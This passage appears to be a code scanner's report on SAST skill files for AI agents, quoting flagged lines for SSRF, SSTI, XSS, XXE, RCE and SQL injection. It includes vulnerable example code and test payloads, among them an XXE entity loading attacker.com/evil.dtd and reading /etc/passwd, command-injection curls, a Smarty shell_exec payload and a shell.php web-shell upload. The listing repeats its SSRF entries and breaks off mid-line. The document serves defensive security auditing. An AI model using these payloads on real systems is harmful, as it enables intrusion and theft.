  • Network accessline 91
    def fetch():
  • Network accessline 93
    if urlparse(url).hostname not in ALLOWED:         abort(403)     response = requests.get(url)
  • Network accessline 94
    abort(403)     response = requests.get(url)     return response.text
  • Network accessline 95
    response = requests.get(url)
  • Network accessline 103
    def preview(request):     target = request.GET.get('target')     data = urllib.request.urlopen(target).read()
  • Network accessline 104
    target = request.GET.get('target')     data = urllib.request.urlopen(target).read()     return HttpResponse(data)
  • Network accessline 105
    data = urllib.request.urlopen(target).read()
  • Network accessline 112
    if parsed.scheme != 'https' or parsed.hostname != 'media.example.com':         return HttpResponse(status=400)     data = urllib.request.urlopen(target).read()
  • Network accessline 113
    return HttpResponse(status=400)     data = urllib.request.urlopen(target).read()     return HttpResponse(data)
  • Network accessline 114
    data = urllib.request.urlopen(target).read()
  • Network accessline 122
    app.post('/webhook/test', async (req, res) => {   const { url } = req.body;   const result = await fetch(url);
  • Network accessline 123
    const { url } = req.body;   const result = await fetch(url);   res.json(await result.json());
  • Network accessline 124
    const result = await fetch(url);
  • Network accessline 132
    const { hostname } = new URL(url);   if (!ALLOWED_HOSTS.has(hostname)) return res.status(403).send('Forbidden');   const result = await fetch(url);
  • Network accessline 133
    if (!ALLOWED_HOSTS.has(hostname)) return res.status(403).send('Forbidden');   const result = await fetch(url);   res.json(await result.json());
  • Network accessline 134
    const result = await fetch(url);
  • Network accessline 172
    // VULNERABLE: user-supplied URL piped into curl function fetch_preview($url) {
  • Network accessline 183
    // SECURE: validate URL against allowlist before curl function fetch_preview($url) {
  • Network accessline 184
    function fetch_preview($url) {     $allowed = ['https://cdn.example.com/'];     foreach ($allowed as $prefix) {
  • Network accessline 185
    $allowed = ['https://cdn.example.com/'];
  • Network accessline 187
    if (strpos($url, $prefix) === 0) {             // ... proceed with curl         }
  • Network accessline 188
    // ... proceed with curl         }     }
  • Network accessline 213
    // VULNERABLE: OkHttp with user-controlled host public String fetch(String host, String path) {
  • Network accessline 214
    public String fetch(String host, String path) {
  • Network accessline 275
    > > 1. **Python HTTP clients**: >    - `requests.get(url)`, `requests.post(url)`, `requests.put(url)`, `requests.request(method, url)`, `requests.Session().get(url)`
  • Network accessline 276
    > 1. **Python HTTP clients**: >    - `requests.get(url)`, `requests.post(url)`, `requests.put(url)`, `requests.request(method, url)`, `requests.Session().get(url)` >    - `urllib.request.urlopen(url)`, `urllib2.urlopen(url)`
  • Network accessline 277
    >    - `requests.get(url)`, `requests.post(url)`, `requests.put(url)`, `requests.request(method, url)`, `requests.Session().get(url)`
  • Network accessline 278
    >    - `urllib.request.urlopen(url)`, `urllib2.urlopen(url)`
  • Network accessline 279
    >    - `httpx.get(url)`, `httpx.post(url)`, `httpx.AsyncClient().get(url)`
  • Network accessline 280
    >    - `aiohttp.ClientSession().get(url)`, `aiohttp.ClientSession().post(url)`
  • Network accessline 281
    > > 2. **Python socket / DNS**: >    - `socket.connect((host, port))`, `socket.create_connection((host, port))`
  • Network accessline 282
    > 2. **Python socket / DNS**: >    - `socket.connect((host, port))`, `socket.create_connection((host, port))` >    - `dns.resolver.resolve(name)`, `socket.getaddrinfo(host, ...)`
  • Network accessline 283
    >    - `socket.connect((host, port))`, `socket.create_connection((host, port))`
  • Network accessline 285
    > > 3. **Python file-fetching with remote schemes**: >    - `urllib.request.urlopen(url)` where url may be http/https/ftp
  • Network accessline 286
    > 3. **Python file-fetching with remote schemes**: >    - `urllib.request.urlopen(url)` where url may be http/https/ftp >    - `open(url)` via `from urllib.request import urlopen` or similar (flag if url may be remote)
  • Network accessline 287
    >    - `urllib.request.urlopen(url)` where url may be http/https/ftp
  • Network accessline 289
    > > 4. **Node.js / JavaScript HTTP clients**: >    - `fetch(url)`, `node-fetch(url)`
  • Network accessline 290
    > 4. **Node.js / JavaScript HTTP clients**: >    - `fetch(url)`, `node-fetch(url)` >    - `axios.get(url)`, `axios.post(url)`, `axios.request({url})`
  • Network accessline 291
    >    - `fetch(url)`, `node-fetch(url)`
  • Network accessline 333
    > > 11. **Shell-out to network tools** (via subprocess, exec, system, etc.): >     - `subprocess.run(["curl", url, ...])`, `subprocess.Popen(["wget", url, ...])`
  • Network accessline 334
    > 11. **Shell-out to network tools** (via subprocess, exec, system, etc.): >     - `subprocess.run(["curl", url, ...])`, `subprocess.Popen(["wget", url, ...])` >     - `os.system("curl " + url)`, `exec("wget " + url)`
  • Network accessline 335
    >     - `subprocess.run(["curl", url, ...])`, `subprocess.Popen(["wget", url, ...])`
  • Dangerous shell operationline 336
    >     - `os.system("curl " + url)`, `exec("wget " + url)`
  • Network accessline 336
    >     - `os.system("curl " + url)`, `exec("wget " + url)`
  • Network accessline 338
    > > **What to skip** (these are safe — do not flag): > - Calls where the entire URL and hostname are fully hardcoded string literals with no dynamic parts: `requests.get("https://api.example.com/data")`
  • Network accessline 339
    > **What to skip** (these are safe — do not flag): > - Calls where the entire URL and hostname are fully hardcoded string literals with no dynamic parts: `requests.get("https://api.example.com/data")` > - Internal loopback connections to `l
  • Network accessline 340
    > - Calls where the entire URL and hostname are fully hardcoded string literals with no dynamic parts: `requests.get("https://api.example.com/data")`
  • Network accessline 354
    > - **File**: `path/to/file.ext` (lines X-Y) > - **Function / endpoint**: [function name or route] > - **Call type**: [HTTP GET / HTTP POST / TCP dial / DNS lookup / subprocess curl / etc.]
  • Network accessline 355
    > - **Function / endpoint**: [function name or route] > - **Call type**: [HTTP GET / HTTP POST / TCP dial / DNS lookup / subprocess curl / etc.] > - **Library / method**: [requests.get / fetch / http.Get / curl_exec / etc.]
  • Network accessline 356
    > - **Call type**: [HTTP GET / HTTP POST / TCP dial / DNS lookup / subprocess curl / etc.]
  • Network accessline 420
    > > 2. **Indirect / assembled destination** — the URL is built by concatenating a hardcoded prefix with a user-supplied suffix or path: >    - `"https://example.com/" + user_path` — may still be exploitable via path traversal or scheme inje
  • Network accessline 421
    > 2. **Indirect / assembled destination** — the URL is built by concatenating a hardcoded prefix with a user-supplied suffix or path: >    - `"https://example.com/" + user_path` — may still be exploitable via path traversal or scheme inject
  • Network accessline 422
    >    - `"https://example.com/" + user_path` — may still be exploitable via path traversal or scheme injection depending on the HTTP client
  • Network accessline 432
    > **For each call site, also check for mitigations**: > - **Strict allowlist of hosts/prefixes**: A hardcoded set of permitted hostnames or URL prefixes that the destination is validated against before the request is made — this is an effec
  • Network accessline 433
    > - **Strict allowlist of hosts/prefixes**: A hardcoded set of permitted hostnames or URL prefixes that the destination is validated against before the request is made — this is an effective mitigation. Mark as Not Vulnerable. > - **Scheme-
  • Network accessline 434
    > - **Scheme-only restriction** (e.g., only allow `https://`): Partial mitigation — reduces impact but does not prevent SSRF to arbitrary HTTPS hosts. Still flag as Likely Vulnerable.
  • Network accessline 456
    > - **File**: `path/to/file.ext` (lines X-Y) > - **Endpoint / function**: [route or function name] > - **Issue**: [e.g., "HTTP query param `url` flows directly into requests.get()"]
  • Network accessline 457
    > - **Endpoint / function**: [route or function name] > - **Issue**: [e.g., "HTTP query param `url` flows directly into requests.get()"] > - **Taint trace**: [Step-by-step from entry point to the call site — e.g., "request.args.get('url') →
  • Network accessline 458
    > - **Issue**: [e.g., "HTTP query param `url` flows directly into requests.get()"]
  • Network accessline 459
    > - **Taint trace**: [Step-by-step from entry point to the call site — e.g., "request.args.get('url') → target_url → requests.get(target_url)"]
  • Network accessline 463
    > - **Dynamic Test**: >   ``` >   [curl command or payload to confirm the finding.
  • Network accessline 464
    >   ``` >   [curl command or payload to confirm the finding. >    Show the parameter, payload, and what to look for.
  • Network accessline 465
    >   [curl command or payload to confirm the finding.
  • Network accessline 466
    >    Show the parameter, payload, and what to look for. >    Example: curl "https://app.example.com/fetch?url=http://169.254.169.254/latest/meta-data/" >    or for internal pivot: curl "https://app.example.com/fetch?url=http://internal-db:5
  • Network accessline 467
    >    Example: curl "https://app.example.com/fetch?url=http://169.254.169.254/latest/meta-data/"
  • Network accessline 468
    >    or for internal pivot: curl "https://app.example.com/fetch?url=http://internal-db:5432/"]
  • Network accessline 538
    - **Partial URL control is still dangerous**: even if the attacker only controls the path or query string portion of the URL, flag it as Likely Vulnerable — depending on the HTTP client behavior, redirect following, and target service, part
  • Network accessline 539
    - **Stored destinations are tainted**: if a URL or hostname was accepted from user input at write time and is later used for an outbound request, trace the write-time acceptance. Lack of allowlist validation at write time makes it SSRF. - *
  • Network accessline 540
    - **Subprocess curl/wget is SSRF too**: shell-outs that run `curl` or `wget` with a user-supplied URL are just as dangerous as HTTP client calls. Check for these, especially in image-processing, import, or download features.

sast-files/.agents/skills/sast-ssti/SKILL.md

  • Network accessline 40
    - `thymeleafEngine.process(user_input, ctx)` — Thymeleaf (Java)   - `\Twig\Environment::createTemplate(user_input)->render(ctx)` — Twig (PHP)   - `$smarty->fetch("string:" . user_input)` — Smarty (PHP)
  • Network accessline 41
    - `\Twig\Environment::createTemplate(user_input)->render(ctx)` — Twig (PHP)   - `$smarty->fetch("string:" . user_input)` — Smarty (PHP)   - `Liquid::Template.parse(user_input).render(ctx)` — Liquid (Ruby)
  • Network accessline 42
    - `$smarty->fetch("string:" . user_input)` — Smarty (PHP)
  • Network accessline 273
    // VULNERABLE: user-controlled template string via fetch("string:...")
  • Network accessline 274
    $template = $_GET['tmpl']; $smarty->fetch("string:" . $template); // Payload: {php}echo shell_exec('id');{/php}
  • Network accessline 275
    $smarty->fetch("string:" . $template);
  • Network accessline 380
    > > 16. **PHP — Smarty**: >     - `$smarty->fetch("string:" . $var)` or `$smarty->display("string:" . $var)`
  • Network accessline 381
    > 16. **PHP — Smarty**: >     - `$smarty->fetch("string:" . $var)` or `$smarty->display("string:" . $var)` >     - `$smarty->fetch($var)` where var may contain a "string:" prefix
  • Network accessline 382
    >     - `$smarty->fetch("string:" . $var)` or `$smarty->display("string:" . $var)`
  • Network accessline 383
    >     - `$smarty->fetch($var)` where var may contain a "string:" prefix

sast-files/.agents/skills/sast-xss/SKILL.md

  • Dangerous shell operationline 60
    - `eval(var)`
  • Dangerous shell operationline 270
    eval(event.data);
  • Dangerous shell operationline 400
    >    - `eval(var)`
  • Network accessline 538
    > - **Dynamic Test**: >   ``` >   [curl command or browser payload to confirm the finding.
  • Network accessline 539
    >   ``` >   [curl command or browser payload to confirm the finding. >    Show the exact parameter, payload, and what to observe.
  • Network accessline 540
    >   [curl command or browser payload to confirm the finding.
  • Network accessline 541
    >    Show the exact parameter, payload, and what to observe. >    Example: curl "https://app.example.com/search?q=<script>alert(1)</script>" >    Or: Visit https://app.example.com/#<img src=x onerror=alert(1)> and observe alert box]
  • Network accessline 542
    >    Example: curl "https://app.example.com/search?q=<script>alert(1)</script>"
  • Network accessline 543
    >    Or: Visit https://app.example.com/#<img src=x onerror=alert(1)> and observe alert box]

sast-files/.agents/skills/sast-xxe/SKILL.md

  • Network accessline 28
    - XML parsed with external entity resolution **enabled by default** and no explicit hardening applied - `SYSTEM` entity declarations that reference `file://` or `http://` URIs: `<!ENTITY xxe SYSTEM "file:///etc/passwd">`
  • Network accessline 29
    - `SYSTEM` entity declarations that reference `file://` or `http://` URIs: `<!ENTITY xxe SYSTEM "file:///etc/passwd">`
  • Network accessline 30
    - DTD processing not explicitly disabled in parsers where it is on by default (Java DOM/SAX, PHP SimpleXML/DOMDocument, libxml2-backed parsers) - Parameter entity injection in DTDs: `<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xx
  • Network accessline 31
    - Parameter entity injection in DTDs: `<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;`
  • Network accessline 32
    - XInclude injection when XInclude processing is enabled - SSRF via XXE: using `http://` or `https://` external entity URLs to reach internal services - Blind XXE via out-of-band exfiltration (DNS, HTTP callback to attacker-controlled serve
  • Network accessline 33
    - SSRF via XXE: using `http://` or `https://` external entity URLs to reach internal services
  • Network accessline 51
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
  • Network accessline 52
    dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
  • Network accessline 53
    dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
  • Network accessline 54
    dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
  • Network accessline 61
    SAXParserFactory spf = SAXParserFactory.newInstance(); spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
  • Network accessline 62
    spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
  • Network accessline 63
    spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
  • Network accessline 64
    spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
  • Network accessline 165
    public ResponseEntity<?> importXml(@RequestBody String xml) throws Exception {     DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();     dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
  • Network accessline 166
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();     dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);     dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
  • Network accessline 167
    dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
  • Network accessline 168
    dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
  • Network accessline 169
    dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
  • Network accessline 185
    // SECURE: disable external entities SAXParserFactory factory = SAXParserFactory.newInstance(); factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
  • Network accessline 186
    SAXParserFactory factory = SAXParserFactory.newInstance(); factory.setFeature("http://xml.org/sax/features/external-general-entities", false); factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
  • Network accessline 187
    factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
  • Network accessline 188
    factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
  • Network accessline 189
    factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
  • Network accessline 485
    > - **Dynamic Test**: >   ``` >   [curl command or payload to confirm the finding.
  • Network accessline 486
    >   ``` >   [curl command or payload to confirm the finding. >    Show the exact endpoint, Content-Type header, and XXE payload.
  • Network accessline 487
    >   [curl command or payload to confirm the finding.
  • Network accessline 488
    >    Show the exact endpoint, Content-Type header, and XXE payload. >    Example: >    curl -X POST https://app.example.com/api/import \
  • Network accessline 489
    >    Example: >    curl -X POST https://app.example.com/api/import \ >      -H "Content-Type: application/xml" \
  • Network accessline 490
    >    curl -X POST https://app.example.com/api/import \

sast-files/.claude/skills/sast-businesslogic/SKILL.md

  • Network accessline 296
    > - **Dynamic Test**: >   ``` >   [Step-by-step instructions or curl commands to confirm the finding on the live app.
  • Network accessline 297
    >   ``` >   [Step-by-step instructions or curl commands to confirm the finding on the live app. >    Include exact HTTP method, endpoint, headers, and request body.
  • Network accessline 298
    >   [Step-by-step instructions or curl commands to confirm the finding on the live app.
  • Network accessline 312
    > - **Dynamic Test**: >   ``` >   [Step-by-step instructions or curl commands, e.g. two concurrent requests, to confirm.]
  • Network accessline 313
    >   ``` >   [Step-by-step instructions or curl commands, e.g. two concurrent requests, to confirm.] >   ```
  • Network accessline 314
    >   [Step-by-step instructions or curl commands, e.g. two concurrent requests, to confirm.]

sast-files/.claude/skills/sast-fileupload/SKILL.md

  • Network accessline 108
    # VULNERABLE: content-type only check (trivially bypassed with curl -H)
  • Network accessline 528
    > - **Dynamic Test**: >   ``` >   [curl or HTTP request demonstrating the bypass.
  • Network accessline 529
    >   ``` >   [curl or HTTP request demonstrating the bypass. >    Example: curl -X POST https://app.example.com/upload \
  • Network accessline 530
    >   [curl or HTTP request demonstrating the bypass.
  • Network accessline 531
    >    Example: curl -X POST https://app.example.com/upload \
  • Network accessline 532
    >      -F "file=@shell.php;type=image/png" \ >      then access: https://app.example.com/static/uploads/shell.php?cmd=id] >   ```
  • Network accessline 533
    >      then access: https://app.example.com/static/uploads/shell.php?cmd=id]

sast-files/.claude/skills/sast-graphql/SKILL.md

  • Network accessline 84
    const fragment = req.body.fragment;   const query = `query { me { ${fragment} } }`;   const data = await fetch('https://api.internal/graphql', {
  • Network accessline 85
    const query = `query { me { ${fragment} } }`;   const data = await fetch('https://api.internal/graphql', {     method: 'POST',
  • Network accessline 86
    const data = await fetch('https://api.internal/graphql', {
  • Network accessline 93
    const PROXY_QUERY = `query ProxyMe { me { id name email } }`; app.post('/proxy', async (req, res) => {   const data = await fetch('https://api.internal/graphql', {
  • Network accessline 94
    app.post('/proxy', async (req, res) => {   const data = await fetch('https://api.internal/graphql', {     method: 'POST',
  • Network accessline 95
    const data = await fetch('https://api.internal/graphql', {
  • Network accessline 293
    > - **Dynamic Test**: >   ``` >   [curl or in-browser GraphQL request showing injected fragment/directive/field]
  • Network accessline 294
    >   ``` >   [curl or in-browser GraphQL request showing injected fragment/directive/field] >   ```
  • Network accessline 295
    >   [curl or in-browser GraphQL request showing injected fragment/directive/field]

sast-files/.claude/skills/sast-hardcodedsecrets/SKILL.md

  • Access to secretsline 116
    [Credential-related source omitted]
  • Access to secretsline 126
    [Credential-related source omitted]
  • Access to secretsline 128
    [Credential-related source omitted]
  • Access to secretsline 129
    [Credential-related source omitted]
  • Access to secretsline 132
    [Credential-related source omitted]
  • Access to secretsline 141
    [Credential-related source omitted]
  • Access to secretsline 143
    [Credential-related source omitted]
  • Access to secretsline 183
    [Credential-related source omitted]
  • Access to secretsline 194
    [Credential-related source omitted]
  • Access to secretsline 196
    [Credential-related source omitted]
  • Access to secretsline 405
    [Credential-related source omitted]

sast-files/.claude/skills/sast-idor/SKILL.md

  • Network accessline 393
    > - **Dynamic Test**: >   ``` >   [curl command or step-by-step instructions to confirm this finding on the live app.
  • Network accessline 394
    >   ``` >   [curl command or step-by-step instructions to confirm this finding on the live app. >    Include the exact endpoint, HTTP method, headers, and what to look for in the response.
  • Network accessline 395
    >   [curl command or step-by-step instructions to confirm this finding on the live app.
  • Network accessline 407
    > - **Dynamic Test**: >   ``` >   [curl command or step-by-step instructions to confirm this finding on the live app.
  • Network accessline 408
    >   ``` >   [curl command or step-by-step instructions to confirm this finding on the live app. >    Include the exact endpoint, HTTP method, headers, and what to look for in the response.
  • Network accessline 409
    >   [curl command or step-by-step instructions to confirm this finding on the live app.

sast-files/.claude/skills/sast-jwt/SKILL.md

  • Network accessline 99
    token, secret, algorithms=["HS256"],     options={"require": ["exp", "iss", "aud"]},     issuer="https://myapp.example.com",
  • Network accessline 100
    options={"require": ["exp", "iss", "aud"]},     issuer="https://myapp.example.com",     audience="myapp-api"
  • Network accessline 101
    issuer="https://myapp.example.com",
  • Network accessline 114
    # Only fetch keys from a known, trusted JWKS endpoint ALLOWED_JWKS_URLS = {"https://accounts.google.com/.well-known/jwks.json"}
  • Network accessline 115
    ALLOWED_JWKS_URLS = {"https://accounts.google.com/.well-known/jwks.json"}
  • Access to secretsline 142
    [Credential-related source omitted]
  • Access to secretsline 168
    [Credential-related source omitted]

sast-files/.claude/skills/sast-missingauth/SKILL.md

  • Network accessline 501
    > - **Dynamic Test**: >   ``` >   [curl command or step-by-step to confirm on the live app.
  • Network accessline 502
    >   ``` >   [curl command or step-by-step to confirm on the live app. >    For missing auth: show the request with NO token succeeding.
  • Network accessline 503
    >   [curl command or step-by-step to confirm on the live app.
  • Network accessline 516
    > - **Dynamic Test**: >   ``` >   [curl command or step-by-step instructions to confirm this finding on the live app.]
  • Network accessline 517
    >   ``` >   [curl command or step-by-step instructions to confirm this finding on the live app.] >   ```
  • Network accessline 518
    >   [curl command or step-by-step instructions to confirm this finding on the live app.]

sast-files/.claude/skills/sast-pathtraversal/SKILL.md

  • Network accessline 467
    > - **Dynamic Test**: >   ``` >   [curl command or payload to confirm; show traversal and encoded variants as appropriate]
  • Network accessline 468
    >   ``` >   [curl command or payload to confirm; show traversal and encoded variants as appropriate] >   ```
  • Network accessline 469
    >   [curl command or payload to confirm; show traversal and encoded variants as appropriate]

sast-files/.claude/skills/sast-rce/SKILL.md

  • Dangerous shell operationline 34
    - Using `eval()`, `exec()`, `Function()`, or equivalent constructs with user-controlled strings
  • Dangerous shell operationline 135
    exec(`grep -r "${query}" /var/log/app/`, (err, stdout) => {
  • Dangerous shell operationline 209
    result = eval(expr)  # attacker can run __import__('os').system('id')
  • Dangerous shell operationline 216
    exec(code)  # full arbitrary code execution
  • Dangerous shell operationline 234
    const result = eval(formula);  // RCE: process.exit(), require('child_process')...
  • Possible obfuscationline 273
    data = base64.b64decode(session_cookie)
  • Possible obfuscationline 281
    user = json.loads(base64.b64decode(session_cookie))
  • Dangerous shell operationline 407
    > - `exec(var)`, `system(var)`, `passthru(var)`, `shell_exec(var)`, `popen(var, ...)`, `proc_open(var, ...)` — flag if any variable in command string
  • Dangerous shell operationline 411
    > - `system(var)`, `exec(var)`, `spawn(var)`, `IO.popen(var)`, `Open3.popen3(var)` — flag if string form with interpolated variable
  • Dangerous shell operationline 433
    > - `eval(var)` — flag if argument is a variable
  • Dangerous shell operationline 434
    > - `exec(var)` — flag if argument is a variable
  • Dangerous shell operationline 435
    > - `compile(var, ...)` followed by `exec()` — flag
  • Dangerous shell operationline 439
    > - `eval(var)` — flag if argument is a variable
  • Dangerous shell operationline 446
    > - `eval(var)` — always flag if variable in argument
  • Dangerous shell operationline 453
    > - `eval(var)`, `instance_eval(var)`, `class_eval(var)`, `module_eval(var)` — flag if variable
  • Network accessline 629
    > - **Dynamic Test**: >   ``` >   [curl command or payload to confirm the finding.
  • Network accessline 630
    >   ``` >   [curl command or payload to confirm the finding. >    Show the exact parameter, payload, and what to look for in the response.
  • Network accessline 631
    >   [curl command or payload to confirm the finding.
  • Network accessline 632
    >    Show the exact parameter, payload, and what to look for in the response. >    Examples: >      curl "https://app.example.com/ping?host=127.0.0.1;id"
  • Network accessline 633
    >    Examples: >      curl "https://app.example.com/ping?host=127.0.0.1;id" >      curl "https://app.example.com/ping?host=127.0.0.1%3Bid"
  • Network accessline 634
    >      curl "https://app.example.com/ping?host=127.0.0.1;id"
  • Network accessline 635
    >      curl "https://app.example.com/ping?host=127.0.0.1%3Bid"
  • Dangerous shell operationline 707
    - **For OS command sinks**: `subprocess.run(["cmd", var])` with list form and no `shell=True` is NOT command injection — the argument is passed directly to the process without shell interpretation. Only flag when shell interpretation is pos
  • Dangerous shell operationline 708
    - **For `eval`-like sinks**: there is almost no safe way to use `eval()` with user input. Any eval-like sink receiving external data should be flagged Vulnerable.
  • Dangerous shell operationline 711
    - Second-order RCE is possible: a value stored from user input may later be deserialized or evaluated in a different code path (e.g., a user-supplied config stored in DB and later `eval()`'d by a cron job).

sast-files/.claude/skills/sast-report/SKILL.md

  • Network accessline 160
    [curl command or step-by-step test instructions from original finding]

sast-files/.claude/skills/sast-sqli/SKILL.md

  • Network accessline 247
    function getUser($id) {     $stmt = $pdo->query("SELECT * FROM users WHERE id = " . $id);     return $stmt->fetch();
  • Network accessline 248
    $stmt = $pdo->query("SELECT * FROM users WHERE id = " . $id);     return $stmt->fetch(); }
  • Network accessline 249
    return $stmt->fetch();
  • Network accessline 254
    $stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");     $stmt->execute(['id' => $id]);     return $stmt->fetch();
  • Network accessline 255
    $stmt->execute(['id' => $id]);     return $stmt->fetch(); }
  • Network accessline 256
    return $stmt->fetch();
  • Network accessline 455
    > - **Dynamic Test**: >   ``` >   [sqlmap command or manual curl payload. Show parameter, payload, expected response signal.
  • Network accessline 456
    >   ``` >   [sqlmap command or manual curl payload. Show parameter, payload, expected response signal. >    Example: sqlmap -u "https://app.example.com/search?q=test" -p q --dbs]
  • Network accessline 457
    >   [sqlmap command or manual curl payload. Show parameter, payload, expected response signal.
  • Network accessline 458
    >    Example: sqlmap -u "https://app.example.com/search?q=test" -p q --dbs]

sast-files/.claude/skills/sast-ssrf/SKILL.md

  • Network accessline 28
    - HTTP client calls where the URL or host is built from user input: `requests.get(user_url)`
  • Network accessline 29
    - Fetching a resource whose location is provided by the client: `fetch(req.body.webhook_url)`
  • Network accessline 53
    if parsed.hostname not in ALLOWED_HOSTS:     raise ValueError("Destination not allowed") requests.get(user_url)
  • Network accessline 55
    requests.get(user_url)
  • Network accessline 60
    ALLOWED_PREFIXES = ["https://api.example.com/", "https://cdn.example.com/"]
  • Network accessline 61
    if not any(user_url.startswith(p) for p in ALLOWED_PREFIXES):     abort(400) requests.get(user_url)
  • Network accessline 63
    requests.get(user_url)
  • Network accessline 68
    # Destination fully hardcoded — no user input involved response = requests.get("https://api.thirdparty.com/data")
  • Network accessline 69
    response = requests.get("https://api.thirdparty.com/data")
  • Network accessline 81
    # VULNERABLE: URL fully controlled by user @app.route('/fetch') def fetch():
  • Network accessline 82
    @app.route('/fetch') def fetch():     url = request.args.get('url')
  • Network accessline 83
    def fetch():
  • Network accessline 84
    url = request.args.get('url')     response = requests.get(url)     return response.text
  • Network accessline 85
    response = requests.get(url)
  • Network accessline 89
    ALLOWED = {"api.example.com"} @app.route('/fetch') def fetch():
  • Network accessline 90
    @app.route('/fetch') def fetch():     url = request.args.get('url')
  • Network accessline 91
    def fetch():
  • Network accessline 93
    if urlparse(url).hostname not in ALLOWED:         abort(403)     response = requests.get(url)
  • Network accessline 94
    abort(403)     response = requests.get(url)     return response.text
  • Network accessline 95
    response = requests.get(url)
  • Network accessline 103
    def preview(request):     target = request.GET.get('target')     data = urllib.request.urlopen(target).read()
  • Network accessline 104
    target = request.GET.get('target')     data = urllib.request.urlopen(target).read()     return HttpResponse(data)
  • Network accessline 105
    data = urllib.request.urlopen(target).read()
  • Network accessline 112
    if parsed.scheme != 'https' or parsed.hostname != 'media.example.com':         return HttpResponse(status=400)     data = urllib.request.urlopen(target).read()
  • Network accessline 113
    return HttpResponse(status=400)     data = urllib.request.urlopen(target).read()     return HttpResponse(data)
  • Network accessline 114
    data = urllib.request.urlopen(target).read()
  • Network accessline 122
    app.post('/webhook/test', async (req, res) => {   const { url } = req.body;   const result = await fetch(url);
  • Network accessline 123
    const { url } = req.body;   const result = await fetch(url);   res.json(await result.json());
  • Network accessline 124
    const result = await fetch(url);
  • Network accessline 132
    const { hostname } = new URL(url);   if (!ALLOWED_HOSTS.has(hostname)) return res.status(403).send('Forbidden');   const result = await fetch(url);
  • Network accessline 133
    if (!ALLOWED_HOSTS.has(hostname)) return res.status(403).send('Forbidden');   const result = await fetch(url);   res.json(await result.json());
  • Network accessline 134
    const result = await fetch(url);
  • Network accessline 172
    // VULNERABLE: user-supplied URL piped into curl function fetch_preview($url) {
  • Network accessline 183
    // SECURE: validate URL against allowlist before curl function fetch_preview($url) {
  • Network accessline 184
    function fetch_preview($url) {     $allowed = ['https://cdn.example.com/'];     foreach ($allowed as $prefix) {
  • Network accessline 185
    $allowed = ['https://cdn.example.com/'];
  • Network accessline 187
    if (strpos($url, $prefix) === 0) {             // ... proceed with curl         }
  • Network accessline 188
    // ... proceed with curl         }     }
  • Network accessline 213
    // VULNERABLE: OkHttp with user-controlled host public String fetch(String host, String path) {
  • Network accessline 214
    public String fetch(String host, String path) {
  • Network accessline 275
    > > 1. **Python HTTP clients**: >    - `requests.get(url)`, `requests.post(url)`, `requests.put(url)`, `requests.request(method, url)`, `requests.Session().get(url)`
  • Network accessline 276
    > 1. **Python HTTP clients**: >    - `requests.get(url)`, `requests.post(url)`, `requests.put(url)`, `requests.request(method, url)`, `requests.Session().get(url)` >    - `urllib.request.urlopen(url)`, `urllib2.urlopen(url)`
  • Network accessline 277
    >    - `requests.get(url)`, `requests.post(url)`, `requests.put(url)`, `requests.request(method, url)`, `requests.Session().get(url)`
  • Network accessline 278
    >    - `urllib.request.urlopen(url)`, `urllib2.urlopen(url)`
  • Network accessline 279
    >    - `httpx.get(url)`, `httpx.post(url)`, `httpx.AsyncClient().get(url)`
  • Network accessline 280
    >    - `aiohttp.ClientSession().get(url)`, `aiohttp.ClientSession().post(url)`
  • Network accessline 281
    > > 2. **Python socket / DNS**: >    - `socket.connect((host, port))`, `socket.create_connection((host, port))`
  • Network accessline 282
    > 2. **Python socket / DNS**: >    - `socket.connect((host, port))`, `socket.create_connection((host, port))` >    - `dns.resolver.resolve(name)`, `socket.getaddrinfo(host, ...)`
  • Network accessline 283
    >    - `socket.connect((host, port))`, `socket.create_connection((host, port))`
  • Network accessline 285
    > > 3. **Python file-fetching with remote schemes**: >    - `urllib.request.urlopen(url)` where url may be http/https/ftp
  • Network accessline 286
    > 3. **Python file-fetching with remote schemes**: >    - `urllib.request.urlopen(url)` where url may be http/https/ftp >    - `open(url)` via `from urllib.request import urlopen` or similar (flag if url may be remote)
  • Network accessline 287
    >    - `urllib.request.urlopen(url)` where url may be http/https/ftp
  • Network accessline 289
    > > 4. **Node.js / JavaScript HTTP clients**: >    - `fetch(url)`, `node-fetch(url)`
  • Network accessline 290
    > 4. **Node.js / JavaScript HTTP clients**: >    - `fetch(url)`, `node-fetch(url)` >    - `axios.get(url)`, `axios.post(url)`, `axios.request({url})`
  • Network accessline 291
    >    - `fetch(url)`, `node-fetch(url)`
  • Network accessline 333
    > > 11. **Shell-out to network tools** (via subprocess, exec, system, etc.): >     - `subprocess.run(["curl", url, ...])`, `subprocess.Popen(["wget", url, ...])`
  • Network accessline 334
    > 11. **Shell-out to network tools** (via subprocess, exec, system, etc.): >     - `subprocess.run(["curl", url, ...])`, `subprocess.Popen(["wget", url, ...])` >     - `os.system("curl " + url)`, `exec("wget " + url)`
  • Network accessline 335
    >     - `subprocess.run(["curl", url, ...])`, `subprocess.Popen(["wget", url, ...])`
  • Dangerous shell operationline 336
    >     - `os.system("curl " + url)`, `exec("wget " + url)`
  • Network accessline 336
    >     - `os.system("curl " + url)`, `exec("wget " + url)`
  • Network accessline 338
